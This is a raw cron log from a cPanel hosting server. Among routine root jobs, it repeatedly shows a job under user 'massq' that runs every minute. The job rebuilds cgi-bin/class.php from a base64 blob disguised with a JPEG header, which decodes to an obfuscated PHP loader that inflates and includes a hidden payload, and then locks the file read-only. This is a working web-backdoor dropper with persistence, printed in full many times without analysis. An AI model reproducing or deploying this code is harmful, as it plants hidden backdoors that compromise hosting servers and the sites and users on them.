Aug 30 17:17:01 server CROND[20202]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 17:17:01 server CROND[20203]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 17:17:01 server CROND[20201]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 17:18:01 server CROND[20578]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 17:18:01 server CROND[20579]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 17:18:01 server CROND[20580]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 17:19:01 server CROND[21056]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 17:19:01 server CROND[21057]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 17:19:01 server CROND[21055]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 17:20:01 server CROND[21547]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 17:20:01 server CROND[21546]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 17:20:01 server CROND[21558]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 17:20:01 server CROND[21565]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 17:20:01 server CROND[21567]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 17:20:01 server CROND[21570]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 17:20:01 server CROND[21571]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 17:20:01 server CROND[21576]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 17:20:01 server CROND[21574]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 17:21:01 server CROND[22532]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 17:21:01 server CROND[22533]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 17:21:01 server CROND[22535]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 17:22:01 server CROND[23178]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 17:22:01 server CROND[23180]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 17:22:01 server CROND[23179]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 17:23:01 server CROND[23546]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 17:23:01 server CROND[23547]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 17:23:01 server CROND[23548]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 17:24:01 server CROND[23927]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 17:24:01 server CROND[23928]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 17:24:01 server CROND[23929]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 17:25:01 server CROND[24314]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 17:25:01 server CROND[24316]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 17:25:01 server CROND[24319]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 17:25:01 server CROND[24322]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 17:25:01 server CROND[24320]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 17:25:01 server CROND[24318]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 17:25:01 server CROND[24321]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 17:26:01 server CROND[25137]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 17:26:01 server CROND[25138]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 17:26:01 server CROND[25139]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 17:27:01 server CROND[25606]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 17:27:01 server CROND[25605]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 17:27:01 server CROND[25609]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 17:27:01 server CROND[25610]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 17:28:01 server CROND[25979]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 17:28:01 server CROND[25980]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 17:28:01 server CROND[25981]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
